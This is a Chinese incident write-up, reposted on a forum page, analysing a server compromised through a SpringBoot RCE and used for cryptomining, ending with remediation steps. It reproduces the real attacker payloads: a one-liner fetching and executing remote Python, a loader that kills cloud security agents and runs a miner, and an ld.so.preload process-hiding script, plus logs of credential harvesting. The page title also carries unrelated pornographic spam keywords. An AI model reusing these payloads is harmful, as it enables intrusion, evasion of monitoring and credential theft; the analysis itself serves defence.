哈哈哈哈哈操欧洲电影,久草网在线,亚洲久久熟女熟妇视频,麻豆精品色,久久福利在线视频,日韩中文字幕的,淫乱毛视频一区,亚洲成人一二三,中文人妻日韩精品电影

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線(xiàn)課程
  • 觀(guān)看技術(shù)視頻
  • 寫(xiě)文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

服務(wù)器被入侵挖礦的過(guò)程與解決方法

Android編程精選 ? 來(lái)源:itlanyan.com ? 作者:tlanyan ? 2022-07-22 16:47 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

常在河邊走,哪能不濕鞋。自認(rèn)為安全防范意識(shí)不錯(cuò),沒(méi)想到服務(wù)器被入侵挖礦的事情也能落到自己頭上。本文簡(jiǎn)要記錄發(fā)現(xiàn)服務(wù)器被入侵挖礦的過(guò)程,同時(shí)分析木馬的痕跡和信息,最后給出解決方法。

服務(wù)器被入侵挖礦過(guò)程

事情經(jīng)過(guò)

昨天是周六,睡得比較晚。玩手機(jī)時(shí)忽然收到阿里云短信和郵件提醒,服務(wù)器有異常行為:

0021ccc8-0758-11ed-ba43-dac502259ad0.png

一看郵件內(nèi)容就知道不得了,趕緊打開(kāi)電腦處理。首先用 netstat 命令查看端口,發(fā)現(xiàn)一個(gè)異常的端口,但不顯示程序名。這時(shí)心里已經(jīng)很清楚,服務(wù)器上的Java程序被遠(yuǎn)程執(zhí)行代碼(RCE),也許還被植入了 rootkit。

首要問(wèn)題是保障業(yè)務(wù)正常可用,于是快速拉起另外一個(gè)實(shí)例,將業(yè)務(wù)遷移過(guò)去。接下來(lái), 首先將被入侵服務(wù)器關(guān)機(jī),然后一步步研究入侵過(guò)程,以及其在服務(wù)器上的行為。

入侵行為分析

根據(jù)郵件內(nèi)容,一個(gè) SpringBoot 應(yīng)用被 getshell 并被執(zhí)行遠(yuǎn)程代碼。被執(zhí)行的代碼語(yǔ)句 base64 解碼后為:

	
python -c 'import urllib;exec urllib.urlopen("http://m.windowsupdatesupport.org/d/loader.py").read()
將其下載,內(nèi)容如下:
import sysimport osfrom os.path import expanduserver=sys.version
shs='''ps aux | grep -v grep | grep 'aegis' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'hids' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'cloudwalker' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'titanagent' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'hids' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs  -I {}  kill -9 {}
rm -rf /usr/local/aegisrm -rf /usr/local/qcloudrm -rf /usr/local/hostguard/bin
ps aux | grep -v grep | grep 'kworkers' | awk '{print $2}' | xargs  -I {}  kill -9 {}
'''os.system(shs)domainroota="m.windowsupdatesupport.org"#domainroota="192.168.67.131"#$domainroota#curl  http://$domainroota/d/kworkers -o $gitdir/kworkershomedir=expanduser("~")gitdir=""try:    os.mkdir(homedir+"/.git")except Exception as e:    print(e)if os.path.isdir(homedir+"/.git"):    gitdir=homedir+"/.git"try:    os.mkdir("./.git")except Exception as e:    print(e)if os.path.isdir("./.git"):    gitdir="./.git"downloadu="http://{}/d/kworkers".format(domainroota)if ver.startswith("3"):    import urllib.request    with urllib.request.urlopen(downloadu) as f:        html = f.read()        open(gitdir + "/kworkers", 'wb').write(html)else:    import urllib2    with open(gitdir + "/kworkers", 'wb') as f:        f.write(urllib2.urlopen("http://{}/d/kworkers".format(domainroota)).read())        f.close()print ("Download Complete!")os.system("chmod 777 "+gitdir+"/kworkers")if os.path.isfile('/.dockerenv'):    os.system(gitdir+"/kworkers")else:    os.system("nohup {}/kworkers >>{}/.log&".format(gitdir,gitdir))

遠(yuǎn)程代碼主要做了這些事情:

  1. 卸載服務(wù)器上的安全監(jiān)控工具;事后開(kāi)機(jī),發(fā)現(xiàn)阿里云盾果然被卸載了
  2. 關(guān)掉所有kworkers進(jìn)程;
  3. 在當(dāng)前目錄下創(chuàng)建 .git 目錄,下載并執(zhí)行 kworkers 程序。

上網(wǎng)搜了一下 kworkers,發(fā)現(xiàn)是挖礦應(yīng)用,并非加密勒索等木馬,心里稍微安心一點(diǎn)。通過(guò)阿里云后臺(tái)監(jiān)控,可以看到木馬入侵后,短時(shí)間內(nèi)cpu占用率飆升(本人處理及時(shí),木馬挖礦時(shí)間大概持續(xù)5分鐘左右):

002fd930-0758-11ed-ba43-dac502259ad0.png

服務(wù)器殘留痕跡

大概知道了木馬的行為,接著重啟服務(wù)器,查看服務(wù)器上的痕跡。1、查看有無(wú)添加定時(shí)任務(wù):

	
# crontab -l0 2 * * * /xxx/.git/kworkers
木馬添加了定時(shí)啟動(dòng)任務(wù)。2、進(jìn)入木馬主目錄,發(fā)現(xiàn)下載了如下文件:

003e80ac-0758-11ed-ba43-dac502259ad0.png

此外,上層目錄和家目錄還多了 cert_key.pemcert.pem 兩個(gè)文件,分別存放公鑰和密鑰。3、查看木馬留下的日志,有如下內(nèi)容:
/xxx/.git/xxx/.gitworking dir /xxx from pid 23684version not exist downloadDownloaded: http://m.windowsupdatesupport.org/d/downloadversion not exist dbusDownloaded: http://m.windowsupdatesupport.org/d/dbusversion not exist hideproc.shDownloaded: http://m.windowsupdatesupport.org/d/hideproc.sherror exit status 1version not exist sshkey.shDownloaded: http://m.windowsupdatesupport.org/d/sshkey.shversion not exist autoupdateDownloaded: http://m.windowsupdatesupport.org/d/autoupdateversion not exist kworkersKey path not found/xxx/.gitpassfound  protectedpassfound  providedpassfound  +clientpassfound  +clientpassfound  protectedpassfound  providedpassfound  qualitypassfound  (pluspassfound  (digits,passfound  promptfound aksk xxxx xxxxfound aksk xxxx xxxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxlstat /proc/7776/fd/3: no such file or directorylstat /proc/7776/fdinfo/3: no such file or directorylstat /proc/7776/task/7776/fd/3: no such file or directorylstat /proc/7776/task/7776/fdinfo/3: no such file or directorylstat /proc/7776/task/7777/fd/3: no such file or directorylstat /proc/7776/task/7777/fdinfo/3: no such file or directorylstat /proc/7776/task/7778/fd/3: no such file or directorylstat /proc/7776/task/7778/fdinfo/3: no such file or directorylstat /proc/7776/task/7779/fd/3: no such file or directorylstat /proc/7776/task/7779/fdinfo/3: no such file or directorylstat /proc/7776/task/7780/fd/3: no such file or directorylstat /proc/7776/task/7780/fdinfo/3: no such file or directorylstat /proc/7776/task/7781/fd/3: no such file or directorylstat /proc/7776/task/7781/fdinfo/3: no such file or directorylstat /proc/7776/task/7782/fd/3: no such file or directorylstat /proc/7776/task/7782/fdinfo/3: no such file or directorylstat /proc/7776/task/7783/fd/3: no such file or directorylstat /proc/7776/task/7783/fdinfo/3: no such file or directoryrestart cmd  /xxx/.git/kworkers/xxx/.gitpassfound  file,passfound  settingspassfound  file.passfound  callbackspassfound  Callbackpassfound  examplepassfound  promptpassfound  passwordpassfound  informationpassfound  tokenpassfound  tokenpassfound  tokenpassfound  Passwordpassfound  passwordpassfound  passwordpassfound  -basedpassfound  Passwordpassfound  (usingpassfound  field>passfound  retrypassfound  foobarpassfound  foobarpassfound  foobarpassfound  foobarpassfound  foobarpassfound  passwordpassfound  passwordpassfound  foobarpassfound  foobarpassfound  secretrtotal passwords 25xxx.xxx.xxx.xxxlan ipdoscan range  xxx.xxx.0.0/16ping...Receive 24 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 time=496.309μsworking dir /xxx from pid 7792Receive 24 bytes from xxx.xxx.xxx: icmp_seq=0 time=257.973μsxxx.xxx.xxx is alivexxx.xxx.xxx is alivexxx.xxx.xxx:80  openxxx.xxx0xxx:443  openversion  same downloadversion  same dbusrestart dbusexec again dbus downrunkill process pid 23709
process completedversion  same hideproc.shskip restart hideproc.shversion  same sshkey.shskip restart sshkey.shversion  same autoupdateskip restart autoupdateversion  same kworkersKey path not found
根據(jù)日志,主要是下載程序,檢測(cè)用戶(hù)名和密碼,探測(cè)內(nèi)網(wǎng),然后啟動(dòng)自動(dòng)更新、隱藏進(jìn)程等程序。
  1. 對(duì) hideproc.sh 感興趣,其內(nèi)容為:

	
if [ "$EUID" -ne 0 ]  then echo "Please run as root"else  if [ `grep libc2.28 /etc/ld.so.preload`  ]  then echo "hideproc already done!!"  else    apt-get update -y    apt-get install build-essential -y    yum check-update    yum install build-essential -y    dnf groupinstall "Development Tools" -y    yum group install "Development Tools"  -y    curl http://m.windowsupdatesupport.org/d/processhider.c -o  processhider.c
    gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl    mv libc2.28.so /usr/local/lib/ -f    grep libc2.28 /etc/ld.so.preload  || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload    rm -f processhider.c    ls >/tmp/.1  2>&1    grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload  fifi
其首先檢測(cè)是否root用戶(hù),然后編譯libc2共享庫(kù),注入隱藏進(jìn)程的代碼。這應(yīng)該是用netstat無(wú)法查看到進(jìn)程名的原因。5、查看訪(fǎng)問(wèn)日志,發(fā)現(xiàn)期間有個(gè)IP對(duì)服務(wù)器進(jìn)行爆破:

006a9020-0758-11ed-ba43-dac502259ad0.png

其他信息

除了上述文件,/tmp文件夾下還生成了.1和.1.sh文件;

查詢(xún)可疑ip,位于國(guó)內(nèi)北京市,應(yīng)該是肉雞;

查詢(xún)木馬下載域名windowsupdatesupport.org,今年6月注冊(cè),解析ip都在國(guó)外。該域名很有混淆性,并且為了方便直接用http訪(fǎng)問(wèn);

除了下載木馬文件挖礦,未改變服務(wù)器上的其他數(shù)據(jù)。

服務(wù)器被入侵挖礦解決辦法

雖然知道是 SpringBoot 應(yīng)用觸發(fā)了 RCE,但遺憾目前仍未找到是哪個(gè)包導(dǎo)致的漏洞。目前采取的緩解措施為:1、被入侵服務(wù)器重裝系統(tǒng);
2、使用非 root 用戶(hù)啟動(dòng) SpringBoot 應(yīng)用;
3、被入侵的是子系統(tǒng),增加基本授權(quán):

	
apt install -y apache2-utilshtpasswd /etc/nginx/conf.d/.htpasswd user

然后配置 Nginx 使用認(rèn)證信息:


	
server {  ...  auth_basic  "子系統(tǒng)鑒權(quán):";  auth_basic_user_file /etc/nginx/conf.d/.htpasswd;  ..}

4、防火墻限制對(duì)外連接。

上述錯(cuò)誤能一定程度上避免類(lèi)似情況再次發(fā)生,但找到應(yīng)用程序中的漏洞才是接下來(lái)的重點(diǎn)。

總結(jié)

幸運(yùn)的是這次來(lái)的是挖礦木馬,服務(wù)器上的程序和數(shù)據(jù)都未受影響。也很感謝阿里云免費(fèi)的安全提醒,讓我在第一時(shí)間處理。

但這次事故也敲醒了警鐘:

  1. 不要隨意用 root 權(quán)限運(yùn)行程序;
  2. 防火墻權(quán)限要嚴(yán)格收緊;
  3. 做好安全監(jiān)控;
  4. 時(shí)刻做好數(shù)據(jù)備份。

審核編輯:湯梓紅


聲明:本文內(nèi)容及配圖由入駐作者撰寫(xiě)或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀(guān)點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • 服務(wù)器
    +關(guān)注

    關(guān)注

    14

    文章

    10339

    瀏覽量

    91733
  • 木馬
    +關(guān)注

    關(guān)注

    0

    文章

    47

    瀏覽量

    13722
  • 阿里云
    +關(guān)注

    關(guān)注

    3

    文章

    1045

    瀏覽量

    45855
  • 挖礦
    +關(guān)注

    關(guān)注

    6

    文章

    448

    瀏覽量

    16859

原文標(biāo)題:記一次服務(wù)器被入侵,沒(méi)想到我輕松搞定了它~

文章出處:【微信號(hào):AndroidPush,微信公眾號(hào):Android編程精選】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評(píng)論

    相關(guān)推薦
    熱點(diǎn)推薦

    服務(wù)器遠(yuǎn)程不上服務(wù)器怎么辦?服務(wù)器無(wú)法遠(yuǎn)程的原因是什么?

    產(chǎn)生問(wèn)題的原因,檢查硬盤(pán)和服務(wù)器系統(tǒng)。通過(guò)日志和檢查數(shù)據(jù)來(lái)確認(rèn)問(wèn)題出 現(xiàn)的原因以及如何解決。 三、端口問(wèn)題 1.端口錯(cuò)誤 找回正確的端口或更換遠(yuǎn)程端口 2.端口掃爆 更改端口,并在防火墻禁止掃爆的IP
    發(fā)表于 02-27 16:21

    服務(wù)器超出了連接范圍的解決方法

    服務(wù)器超出了連接范圍的解決方法終端服務(wù)器超出了最大允許連接解決方法使用遠(yuǎn)程桌面鏈接登錄到終端服務(wù)器時(shí)經(jīng)常會(huì)遇到“終端
    發(fā)表于 01-06 22:59

    服務(wù)器植入挖礦病毒解決辦法

    服務(wù)器植入挖礦病毒解決辦法上午重啟服務(wù)的時(shí)候,發(fā)現(xiàn)程序啟動(dòng)死慢,用top命令查看了一下,cpu被占用接近100%,所以無(wú)法運(yùn)行新程序,通過(guò)top命令然后輸入P,就能看到有兩個(gè)程序幾乎
    發(fā)表于 08-28 15:50

    TCP服務(wù)器創(chuàng)建過(guò)程

    (UCOSIII版本)的基礎(chǔ)上進(jìn)行修改,實(shí)現(xiàn)多客戶(hù)端連接的一個(gè)方法。1、TCP服務(wù)器創(chuàng)建過(guò)程建立一個(gè)TCP服務(wù)器需要經(jīng)過(guò)創(chuàng)建連接conn=netconn_new(NETCONN_TCP
    發(fā)表于 08-24 08:03

    入侵服務(wù)器的癥狀分析與應(yīng)對(duì)方法

    本指南中所謂的服務(wù)器入侵或者說(shuō)被黑了的意思,是指未經(jīng)授權(quán)的人或程序?yàn)榱俗约旱哪康牡卿浀?b class='flag-5'>服務(wù)器上去并使用其計(jì)算資源,通常會(huì)產(chǎn)生不好的影響。
    的頭像 發(fā)表于 12-25 10:26 ?4334次閱讀

    解析Linux如何判斷自己的服務(wù)器是否入侵的檢測(cè)方法

    如何判斷自己的服務(wù)器是否入侵了呢??jī)H僅靠?jī)芍皇质遣粔虻模珒芍皇忠材芷鸬揭恍┳饔?,我們先?lái)看看UNIX系統(tǒng)上一些入侵檢測(cè)方法,以L(fǎng)INUX
    的頭像 發(fā)表于 01-13 10:27 ?6675次閱讀

    網(wǎng)絡(luò)診斷提示DNS服務(wù)器未響應(yīng)解決方法

    本文主要介紹了網(wǎng)絡(luò)診斷提示DNS服務(wù)器未響應(yīng)解決方法。DNS服務(wù)器是由域名解析和域名服務(wù)器組成的。域名
    發(fā)表于 01-14 09:37 ?6.1w次閱讀
    網(wǎng)絡(luò)診斷提示DNS<b class='flag-5'>服務(wù)器</b>未響應(yīng)<b class='flag-5'>解決方法</b>

    win7dns服務(wù)器異常原因及解決方法

    本文主要介紹了win7 dns服務(wù)器異常原因及解決方法。在瀏覽網(wǎng)頁(yè)的過(guò)程中經(jīng)常出現(xiàn)無(wú)法顯示此網(wǎng)頁(yè)、找不到服務(wù)器或DNS錯(cuò)誤,那么我們遇到網(wǎng)頁(yè)提示找不到
    發(fā)表于 01-14 09:59 ?3.9w次閱讀
    win7dns<b class='flag-5'>服務(wù)器</b>異常原因及<b class='flag-5'>解決方法</b>

    串口服務(wù)器的常見(jiàn)問(wèn)題及解決方法

    串口服務(wù)器因?yàn)槠涔δ艿脑?,如今在工控領(lǐng)域有著非常廣泛的應(yīng)用,在實(shí)際使用串口服務(wù)器過(guò)程中也會(huì)遇到一些問(wèn)題。下面為大家介紹幾個(gè)在使用串口服務(wù)器時(shí)經(jīng)常會(huì)遇到的問(wèn)題及
    發(fā)表于 06-16 16:01 ?3916次閱讀

    Linux服務(wù)器入侵導(dǎo)致凍結(jié)的過(guò)程

    來(lái)自:看雪論壇,作者:Hefe https://bbs.pediy.com/thread-225163.htm 不一會(huì)運(yùn)維的同事也到了,氣喘吁吁的說(shuō):我們有臺(tái)服務(wù)器阿里云凍結(jié)了,理由:對(duì)外惡意發(fā)包
    的頭像 發(fā)表于 09-01 16:11 ?3757次閱讀

    獨(dú)立服務(wù)器異常問(wèn)題及解決方法

    的含義。然而,因?yàn)楠?dú)立服務(wù)器在日常使用的過(guò)程中,由于其硬件的復(fù)雜性和不間端性,經(jīng)常會(huì)出現(xiàn)很多問(wèn)題困擾這我們。下面我們就簡(jiǎn)單的來(lái)說(shuō)一下獨(dú)立服務(wù)器異常的情況和解決措施。
    的頭像 發(fā)表于 05-05 15:14 ?1276次閱讀

    FTP連接重置問(wèn)題的解決方法與技巧!FTP服務(wù)器連接修復(fù)!

    FTP連接重置問(wèn)題的解決方法與技巧!FTP服務(wù)器連接修復(fù)! FTP(文件傳輸協(xié)議)是用于在計(jì)算機(jī)網(wǎng)絡(luò)環(huán)境中進(jìn)行文件傳輸?shù)某S脜f(xié)議。然而,有時(shí)我們可能會(huì)遇到FTP連接重置的問(wèn)題,這會(huì)
    的頭像 發(fā)表于 01-12 16:00 ?1.6w次閱讀

    服務(wù)器入侵現(xiàn)象、排查和處理步驟

    近期有一個(gè)朋友的服務(wù)器(自己做了網(wǎng)站)好像遭遇了入侵,具體現(xiàn)象是: 服務(wù)器 CPU 資源長(zhǎng)期 100%,負(fù)載較高。 服務(wù)器上面的服務(wù)不能正常
    發(fā)表于 03-22 10:56 ?1796次閱讀
    <b class='flag-5'>服務(wù)器</b><b class='flag-5'>入侵</b>現(xiàn)象、排查和處理步驟

    服務(wù)器錯(cuò)誤是怎么回事?常見(jiàn)錯(cuò)誤原因及解決方法匯總

    服務(wù)器錯(cuò)誤是怎么回事?最常見(jiàn)的原因分有六個(gè),分別是:硬件問(wèn)題、軟件問(wèn)題、網(wǎng)絡(luò)問(wèn)題、資源耗盡、數(shù)據(jù)庫(kù)、文件權(quán)限問(wèn)題??梢愿鶕?jù)以下具體錯(cuò)誤原因進(jìn)行辨別,并選擇適合的解決方法。關(guān)于常見(jiàn)服務(wù)器原因及
    的頭像 發(fā)表于 08-12 10:11 ?4083次閱讀

    Linux服務(wù)器入侵檢測(cè)與應(yīng)急響應(yīng)流程

    作為一名運(yùn)維工程師,你是否曾在凌晨3點(diǎn)接到告警電話(huà)?服務(wù)器異常、流量暴增、CPU飆升...這些可能都是入侵的征兆。本文將分享一套完整的Linux服務(wù)器入侵檢測(cè)與應(yīng)急響應(yīng)流程,讓你在面對(duì)
    的頭像 發(fā)表于 08-21 17:29 ?2210次閱讀
    德阳市| 阿坝| 简阳市| 聂荣县| 吴忠市| 永德县| 松潘县| 修水县| 乌兰察布市| 夹江县| 吉首市| 浦东新区| 公主岭市| 曲阳县| 兴文县| 金坛市| 静宁县| 荆州市| 交口县| 宜君县| 崇仁县| 墨江| 名山县| 肇源县| 会宁县| 民权县| 明水县| 绥江县| 虹口区| 岑溪市| 库伦旗| 台山市| 北辰区| 都昌县| 青川县| 台中县| 永丰县| 凤翔县| 东丽区| 乌拉特中旗| 辽阳县|